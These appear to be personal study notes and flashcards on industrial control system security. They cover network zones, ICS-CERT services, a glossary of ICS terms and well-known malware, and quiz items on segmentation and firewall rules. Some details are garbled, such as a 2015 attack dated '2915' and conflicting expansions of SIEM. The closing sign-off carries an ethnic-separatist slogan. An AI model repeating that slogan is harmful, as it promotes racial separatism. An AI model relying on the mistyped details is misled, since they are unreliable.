Corporate Zone - Connected to External Zone
- Least amount of hardening
- mature network
Manufacturing/Data Zone - Monitoring/Managemnt of Control Network
- Cell/Control Zone here
- Servers are here
- High priority
Control/Cell Zone - PLCs, HMIs, Basic I/O devices, Control
- Target for attacker
- Very high priority
Safety Zone - Devices that control safety level
- Air-gapped
- HIGHEST PRIORITY
ICS-CERT Advisories & Alerts 1) Alerts - threats or activity with the potential to impact critical infrastructure computing networks
2) Advisories - info about current security issues, vulnerabilities, and exploits
3) Monitor Newsletter - published when an adequate amount of pertinent information has been collected
4) Joint Security Awareness Report (JSAR) - provide awareness or solicit feedback from critical infrastructure owners
CSET (Cyber Security Evaluation Tool) - Administered by ICS-CERT
- No-cost
- Assessment too to increase an organization's cyber security posture
Cyber Resilience Review (CRR) - Administered by ICS-CERT
- No-cost, like CSET
- Assesses operational resilience over 10-domains
Design Architecture Review (DAR) - Administered by ICS-CERT
- No-cost
- Deep-dive/review of critical architecture
Network Architecture Val/Ver (NAV) - Administered by ICS-CERT
- Passive analysis of network traffic in ICS
Catalog of Control Systems Security (CSSP) - Document of best practices, guidelines, security controls
- 19 functional areas of recommendation
SIEM (Security Incident and Event Manager) - Log/event management
Mission Assurance Category (MAC) I Immediate and substantial loss of mission effectiveness
Mission Assurance Category (MAC) II May seriously impact mission effectiveness
Mission Assurance Category (MAC) III Delay or Degradation of services enabling routine activities
What are the two most valuable items to an ICS attacker? - SCADA Server / MTU
- HMI
--------------------------------------
Active Directory - A directory service developed by Microsoft for Windows domain networks. It is included in most Windows Server operating systems as a set of processes and services. Initially, Active Directory was only in charge of centralized domain management.
A server running Active Directory Domain Service (AD DS) is called a domain controller. It authenticates and authorizes all users and computers in a Windows domain type network—assigning and enforcing security policies for all computers and installing or updating software. For example, when a user logs into a computer that is part of a Windows domain, Active Directory checks the submitted password and determines whether the user is a system administrator or normal user.
Actuator - A machine that is responsible for moving and controlling a mechanism or system, for example by opening a valve. In simple terms, it is a "mover".
An actuator requires a control signal and a source of energy. The control signal is relatively low energy and may be electric voltage or current, pneumatic or hydraulic pressure, or even human power. Its main energy source may be an electric current, hydraulic fluid pressure, or pneumatic pressure.
API - Application Programming Interface
API is a software intermediary that allows two applications to talk to each other. In other words, an API is the messenger that delivers your request to the provider that you're requesting it from and then delivers the response back to you.
Air Gap - An air gap, air wall or air gapping is a network security measure employed on one or more computers to ensure that a secure computer network is physically isolated from unsecured networks, such as the public Internet or an unsecured local area network.
C2 - Command and Control
Occurs when a server operated by an attacker tor cybercriminal is used to send commands to systems compromised by malware and receive stolen data from a target network
CIP - Critical Infrastructure Protection
A concept that relates to the preparedness and response to serious incidents that involve the critical infrastructure of a region or nation.
Commodity Malware - Malware that is widely available for purchase, or free download, which is not customized and is used by a wide range of different threat actors.
Common Vulnerabilities and Exposures (CVE) - The Common Vulnerabilities and Exposures or CVE system provides a reference-method for publicly known information-security vulnerabilities and exposures. MITRE Corporation maintains the system, with funding from the National Cyber Security Division of the United States Department of Homeland Security.
Cybersecurity & Infrastructure Security Agency (CISA) - CISA is responsible for protecting the Nation's critical infrastructure from physical and cyber threats. This mission requires effective coordination and collaboration among a broad spectrum of government and private sector organizations.
DCS - Distributed Control System
It is a system of dividing plant or process control into several areas of responsibility, each managed by its own controller, with the whole system connected to form a single entity, usually by means of communication buses.
A system of sensors, controllers, and associated computers that are distributed throughout a plant. Each of these elements serves a unique purpose such as data acquisition, process control, as well as data storage and graphical display. These individual elements communicate with a centralized computer through the plant's local area network - often referred to as a control network.term-26
Endpoint Security - An approach to the protection of computer networks that are remotely bridged to client devices. The connection of laptops, tablets, mobile phones and other wireless devices to corporate networks creates attack paths for security threats.
Endpoint security attempts to ensure that such devices follow a definite level of compliance to standards.
(Different from firewalls, anti-virus, network security)
https://enterprise.comodo.com/blog/what-is-endpoint-security/
EULA - End User License Agreement
The contract between a user and a company selling software for installation on the user's computer. A EULA is a form of intellectual property protection.
Under an EULA, the party that obtains the software cannot resell it or distribute it in any way that benefits the buyer but not the original creator.
Firewall - A network security system that monitors and controls incoming and outgoing network traffic based on predetermined security rules. A firewall typically establishes a barrier between a trusted internal network and untrusted external network, such as the Internet
Data Historian - A software program that records and retrieves production and process data by time; it stores the information in a time series database that can efficiently store data with minimal disk space and fast retrieval. Time series information is often displayed in a trend or as tabular data over a time range (ex. the last day, last 8 hours, last year).
Manufacturing, Utilities, Data Centers, Heavy Equipment Monitoring
HMI - Human Machine Interface. HMIs present data to human operators in SCADA systems.
A user interface or dashboard that connects a person to a machine, system, or device. While the term can technically be applied to any screen that allows a user to interact with a device, HMI is most commonly used in the context of an industrial process.
ICS - Industrial Control Systems
A collective term used to describe different types of control systems and associated instrumentation, which include the *devices, systems, networks*, and controls used to operate and/or automate industrial processes.
There are several types of ICSs, the most common of which are *Supervisory Control and Data Acquisition (SCADA)* systems, and *Distributed Control Systems (DCS)*. Local operations are often controlled by so-called *Field Devices* that receive supervisory commands from remote stations.
IOC - Indicator of compromise
An artifact in computer forensics observed on a network or in an OS that, with high confidence, indicates a computer intrusion.
IP Address, wrong URL
Load Balancer - In computing, load balancing improves the distribution of workloads across multiple computing resources, such as computers, a computer cluster, network links, central processing units, or disk drives.[1]
Load balancing aims to optimize resource use, maximize throughput, minimize response time, and avoid overload of any single resource.
Load balancing usually involves dedicated software or hardware, such as a multilayer switch or a Domain Name System server process.
Master/Slaver (Technology) - A model of asymmetric communication or control where one device or process controls one or more other devices or processes and serves as their communication hub.
In some systems a master is selected from a group of eligible devices, with the other devices acting in the role of slaves.
NERC CIP - North American Electric Reliability Corporation
The NERC CIP plan consists of 9 standards and 45 requirements covering the security of electronic perimeters and the protection of critical cyber assets as well as personnel and training, security management and disaster recovery planning. NERC CIP Requires the use of firewalls to block vulnerable ports and the implementation of cyber attack monitoring tools
Network Segmentation - The act or practice of splitting a computer network into subnetworks, each being a network segment. Advantages of such splitting are primarily for boosting performance and improving security.
Benefits: Improved security, reduced congestion, controlling network problems, and controlling visitor access
NIC - Network Interface Card
A computer uses an NIC to become part of a network. The NIC contains the electronic circuitry required to communicate using a wired connection (e.g., Ethernet) or a wireless connection (e.g., WiFi). A network interface card is also known as a network interface controller, network adapter, or Local Area Network (LAN) adapter.
PCN - Process Control Network - A network composed of real-time industrial control systems which manage, monitor, and control industrial infrastructure.
PCNs make use of software, hardware, networks and its connectivity for accessing, controlling, and transferring data with each other. Known as Distributed Control Systems (DCS) or Supervisory Control and Data Acquisition (SCADA)
Petya & NotPetya Malware - The malware targets Microsoft Windows-based systems, infecting the master boot record to execute a payload that encrypts a hard drive's file system table and prevents Windows from booting. It subsequently demands that the user make a payment in Bitcoin in order to regain access to the system.
NotPetya - a new variant of Petya used for a global cyberattack, primarily targeting Ukraine. The new variant propagates via the EternalBlue exploit and have been blamed on the Russian government, specifically the Sandworm hacking group within the GRU Russian military
PI Historian - A real-time data historian application with a highly efficient time-series database structured and developed by OSIsoft. PI stands for Process Information. This application can efficiently record data from process control systems (ex. DCS, PLC) into a compressed time series database. Customers are using PI systems to record, analyze, and monitor real-time information such as:
- Process (Valves, Pumps, Flows, Pressures, Levels)
- Products, Batches, Campaigns, and Production Runs
- Product Geneology from raw material to final product
- Environmental and Safety
- IT Systems and Network equipment
PLC - Programmable Logic Controller
Industrial digital computer that receives information from connected sensors or input devices, processes the data, and triggers outputs based on pre-programmed parameters.
Depending on the inputs and outputs, a PLC can monitor and record run-time data such as machine productivity or operating temperature, automatically start and stop processes, generate alarms if a machine malfunctions, and more.
• HVAC, smart meters, SCADA networks
• Manufacturing processes (assembly lines, robotic devices, or anything that requires high reliability control and ease of programming and process fault diagnosis
POC - Proof of Concept
Going to the site of the customer and letting them use the platform or WorldView
"Try before you buy" - specific for customer.
Sometimes a competition between vendors
QFD - Query Focused Database
Queries of interesting forensic data collected from the client's midpoint sensors used to assist the playbooks and explain occurrences.
Consolidated set of data for specific question we're trying to answer
RTU - Remote Terminal Unit
Monitors and controls field devices that connect to the plant control or SCADA. The main function is to interface the SCADA to the objects present physically.
Has environmental tolerances, backup power, and autonomy. Many have programmed modules that can be applied specifically for their desired function
Ryuk Ransomware - Ryuk is a type of crypto-ransomware that uses encryption to block access to a system, device, or file until a ransom is paid. Ryuk is often dropped on a system by other malware, most notably TrickBot, (featured in last quarter's Threat of the Quarter) or gains access to a system via Remote Desktop Services.
SCADA - Supervisory Control and Data Acquisition
Composed of devices (generally PLCs) that are distributed in various locations. SCADA systems can acquire and transmit data, and are integrated with an HMI that provides *centralized monitoring* and control for numerous process inputs and outputs.
The primary purpose of using SCADA is for long distance monitoring and control of field sites through a centralized control system
Field devices can control local operations such as opening/closing valves, and collecting data from sensors.
Commonly used in industries involving pipeline monitoring and control, water treatment centers and distribution, and electrical power transmission and distribution.
SIEM - System Information & Event Management
- An approach to security management that combines SIM and SEM
- The underlying approach is *aggregate relevant data* from multiple sources, *identify deviations from the norm*, and *take appropriate action*
- When an issue is detected, SIEM might log additional information, generate an alert, and instruct other security controls to stop an activity's progress
Threat Behavior - A stealthy computer network threat actor, typically a nation state or state-sponsored group, which gains unauthorized access to a computer network and remains undetected for an extended period
TIP - Threat Intelligence Platform
Anomali, Threat Connect, Recorded Future, Eclectic IQ, and Threat Quotient
Integrates our WV tool into one platform - a "single pane of glass"
Aggregates data into one view
TOC - Threat Operation Center
Our professional services team that works proactively:
- Architecture assessments, vulnerability assessments, Pentest/Red team, threat hunt, threat assessment
And proactively:
- Rapid response, incident response retainer, tabletop exercise
Substation - A part of an electrical generation, transmission, and distribution system where voltage is transformed from high to low or the reverse
Serve as switching stations and feeders, and fault protection
Watering Hole Attack - A malicious attack that is directed toward a small group of specific individuals who visit the same website.
Wiper Malware - A wiper is a class of malware whose intention is to wipe the hard drive of the computer it infects
Shamoon - The virus was notable due to the destructive nature of the attack and the cost of recovery. Shamoon is a computer virus that can spread from an infected machine to other computers on the network. Once a system is infected, the virus continues to compile a list of files from specific locations on the system, upload them to the attacker, and erase them. Finally the virus overwrites the master boot record of the infected computer, making it unusable.[2][3].
WannaCry Malware - The WannaCry ransomware attack was a May 2017 worldwide cyberattack by the WannaCry ransomware cryptoworm, which targeted computers running the Microsoft Windows operating system by encrypting data and demanding ransom payments in the Bitcoin cryptocurrency. It propagated through EternalBlue, an exploit developed by the United States National Security Agency (NSA) for older Windows systems
Collection Management Framework - A structured approach to identifying data sources and determining what information can be obtained from each source. The concept of collection management is rooted in intelligence work. In the intelligence field, it is routine to identify requirements and determine where sources exist to collect information to satisfy those requirements.
Various styles of collection management exist and can incorporate attributes such as a reliability rating of the data and measurements of trustworthiness, accuracy, and completeness
Trisis Malware - ICS-tailored malware deployed against at least one victim in the Middle East. The team identifies this malware as TRISIS because it targets Schneider Electric's Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements.
Ukraine 2015 (Power Grid Attack) - In Dec. 2915, hackers compromised information systems of three energy distribution companies in Ukraine and temporarily disrupted the electricity supply to consumers. It is the first known successful cyberattack on a power grid.
30 substations were switched off, and about 230000 people were without electricity for a period from 1 to 6 hours
--------------------------------------
Which manufacturing industry involves a series of steps on a single device to create an end product? - Discrete-based manufacturing
Which ICS industrial sector is used to control geographically dispersed assets? - Distribution industries
What ICS sector utilizes primarily LAN technology, as systems are usually located within a confined area? - Manufacturing systems
Manufacturing can be categorized into what two types? - 1. Process-based
2. Discrete-based
What are the two main processes of Process-based manufacturing? - 1. Continuous
2. Batch
What type of processing runs continuously? - Continuous Manufacturing
What type of processing runs on a distinct start and stop and have distinct steps? - Batch Manufacturing
What is a device for moving or controlling a mechanism or system? - Actuator
What is a quantity or a condition that the control alters to initiate a change in the value of the regulated condition? - Manipulated variable
What is the variable that the control system attempts to keep at the set point value? - Controlled variable
What is the general term for the equipment that is used to communicate with a computer as well as the data involved in the communications? - Input/Output
What is a device that produces a voltage or current output that is representative of some physical property being measured? - Sensor
What consists of sensors for measurement, controller hardware, actuators and the communication of variables? - Control Loops
What is the hardware or software through which an operator interacts with a controller? - Human-Machine Interface
What is used to prevent, identify, and recover from abnormal operation or failures from a distance? - Remote Diagnostics
What design consideration involves automated time-based controllers? - Control Timing Requirements
What design consideration involves controllers for varying degrees of distribution? - Geographic Distribution
What design consideration involves providing human operators with a comprehensive view of the entire system? - Hierarchy
What design consideration involves more complex requirements and require human operators? - Control Complexity
What design consideration involves ensuring the system's up-time requirements are being met? - Availability
What design consideration involves ensuring the systems with the greatest impacts have the ability to continue operations through a degraded state? - Impact of Failure
What design consideration involves ensuring systems are able to detect unsafe conditions and trigger actions to reduce unsafe conditions to safe ones? - Safety
What systems are used to control dispersed assets where centralized data acquisition is as important as control? - SCADA systems
What is a controller that also acts as a server that hosts the control software that communicates with lower-level control devices? - Control Server
What is a centralized database supporting data analysis using statistical process control techniques? - Data Historian
What is a solid-state control system that has a user-programmable memory for storing instructions for the purpose of implementing specific functions? - Programmable Logic Controller (PLC)
What is a computer with radio interfacing used in remote situations where communications via wire is unavailable? - Remote Terminal Unit (RTU)
What ICS is used to control production systems within the same geographic location? - Distributed Control Systems (DCS)
What provides local management of processes through feedback control, usually within a control loop? - Programmable Logic Controllers (PLC)
What does network segregation do for an ICS system, and why is it needed? - Network segregation will determine critical parts of the network that need segregation, and ensure that access to sensitive information is restricted to only those who must have access.
Which security concept is described as utilizing overlapping security mechanisms? - Defense-in-depth
What firewall policy is considered "best practice" for ICS? - Deny all
--------------------------------------
Two main purposes of process-based manufacturing - Answer: Continuous Manufacturing Process (Ex: Fuel or steam flow in a power plant) and Batch Manufacturing Processes (Ex: Food)
Discrete-based manufacturing - Answer: conducts a series of steps on a single device to create the end product (Ex: Electronics)
Distribution Industries are _______________ dispersed whereas manufacturing is usually within a confined factory - Answer: geographically
What is one of the most prevalent sources of disruptions of interdependent critical infrastructures? - Answer: Electric Power
What is a threat? - Answer: Any circumstance or event that has the potential to adversely impact organizational operations.
What is a threat source? - Answer: an intent or method that may exploit a vulnerability through intentional or unintentional means
What is a vulnerability? - Answer: a weakness in an information system.
What is a threat event? - Answer: an event or situation that has the potential for causing undesirable consequences or impact.
What is an incident? - Answer: the result of a threat event. An incident can actually or potentially jeopardize the CIA of an information system.
3 examples of vulnerabilities and predisposing conditions. Hint: These are often introduced into the ICS (Industrial Control System) because of incomplete, inappropriate, or nonexistent security policy. - Answer: - Inadequate security policy for the ICS
- No Formal ICS security training & awareness program
- Lack of redundancy for critical components
In many ICS's, old and new, did not have security in mind. Some systems and predisposing vulnerable conditions can be formed form: Architecture & design, Configuration & maintenance, physical unauthorization, software development, and communication & network configurations. Name 1 of 6 additional vulnerability sources. - Answer: - Design flaw
- Development flaws
- Misconfigurations
- Poor maintenance
- Poor administration
- Connections w/ other systems & networks
What are some examples of adversarial incidents? - Answer: - Dos/DDoS
- Spoofing
- Attack against the SCADA controllers
- Modification to Safety Systems
- Malware
What is an Actuator? - Answer: A device for moving or controlling a mechanism or system.
What is manipulated variable? - Answer: a process that is intended to regulate some condition, a quantity or a condition that the control alters to initiate a change in the value of the regulated condition. In other words, a condition that when changed, changes the behavior of the system.
What is controlled variable? - Answer: A variable that the control system attempts to keep at the set point value.
Input/output is a general term for the equipment that is used to _____________________ with a computer - Answer: communicate
A Sensor is a device that produces a _________ or ___________ output that is representative of some physical property being measured - Answer: voltage or current
What is a control loop? - Answer: consists of sensors for measurement (Ex: PLCs, control valves, breakers)
What is a HMI? - Answer: Human-Machine interface. Similar to a GUI but not as graphically friendly.
Remote Diagnostics are activities conducted by individuals communicating ____________ of an ICS information system security perimeter - Answer: externally/external
What are the 4 design decisions regarding ICS? - Answer: Control, communication, reliability, and redundancy properties
Control timing requirements in ICS designs are ___________ because humans may not be able to reliably and consistently meet the requirements - Answer: automated
What is geographic distribution in regards to ICS design? - Answer: Distribution between small, large, and wide area systems (Ex respectively: PLC-controlled process, oil piplines, circuit switching)
Hierarchy is _________________ control and is used to provide a central location that can aggregate data from multiple locations. - Answer: supervisory control
What is control complexity? - Answer: a control function, often can be performed by simple controllers and preset algorithms. More complexity requires human operators.
What is SCADA? - Answer: Supervisory control and data acquisition
Purpose of SCADA? - Answer: Used to control dispersed assets, designed to collect field information, transfer it to a central computer facility, and display the information to the operator via HMI.
Name 1 of 3 SCADA hardware mentioned in the text - Answer: - Remote Terminal Units (RTUs)
- Prgrammable Logic Controllers (PLCs)
- Intelligent Electronic Device (IED)
What document goes through extensive detail regarding different SCADA topologies? - Answer: NIST SP 800-82r2
What is the Control server in a SCADA system layout? - Answer: a controller that acts as a server that hosts the control software. Communicates with lower-level control devices such as RTUs and PLCs
What is a data historian in a SCADA system layout? - Answer: centralized database
What is a Programmable Logic Controller (PLC) in a SCADA system layout? - Answer: Solid-state control system that has a user-programmable memory for storing instructions for the purpose of implementing specific functions regarding logic (Ex: I/O Control, timing, etc)
What is Remote Terminal Unit (RTU) in a SCADA system layout? - Answer: A computer with radio interfacing used in remote situations where communications via wire is unavailable.
What is DCS? - Answer: Distributed Control System
Purpose of Distributed Control system? - Answer: used to control production systems within the same geographic location for industries. These systems are usually process control or discrete part control systems.
What is used in both SCADA and DCS systems? - Answer: PLCs
Difference between ICS controls and IT systems? - Answer: ICS control the physical world, IT systems manage data.
What is one of the most effective architectural concepts to protect ICS? - Answer: Separating the ICS from other networks and presents illustrative security architecture.
Name 1 of 3 network segmentation methods - Answer: - Logical Network Separation (VLAN, VPN, unidirectional gateways)
- Physical Network separation (Air gap)
- Network Traffic Filtering (port/protocol filtering)
Boundary protection devices control the flow of _______________ between interconnected security domains to protect against malicious activity. - Answer: information
Firewalls are devices or systems that control the flow of _____________ between networks employing differing security postures. - Answer: network traffic
What are two considerations when employing a network firewall? - Answer: Additional possible delays of control system communications, lack of experience in the design of rule sets suitable for ICS
What is a Control Systems Security Program? (CSSP) - Answer: Enforces policies, training, incident response and physical security.
What are the basic practices for firewall policies? - Answer: - base rule set should deny all, permit none
- all "permit" rules should be both IP address and tcp/udp port specific
- All rules should restrict traffic to a specific ip address or range of addresses
When setting firewall rules, HTTP should or should not be allowed to cross from the public.corporate to the control network? - Answer: Should not
When setting firewall rules, should you use Tenet or Secure Shell for encryption? - Answer: Secure Shell (SSH)
When setting firewall rules, All TFTP communications should be blocked, while FTP communications should be allowed for outbound sessions only. True or false? - Answer: True
In most cases there is little reason to allow DNS requests out of the control network to the corporate network and no reason to allow DNS requests into the control network. True or false? - Answer: True
=================================================================================
With love,
ᐃᐤ ? ????????? ᛝ, 混血儿
Ethnostates for every race. Mulattos also.
=================================================================================
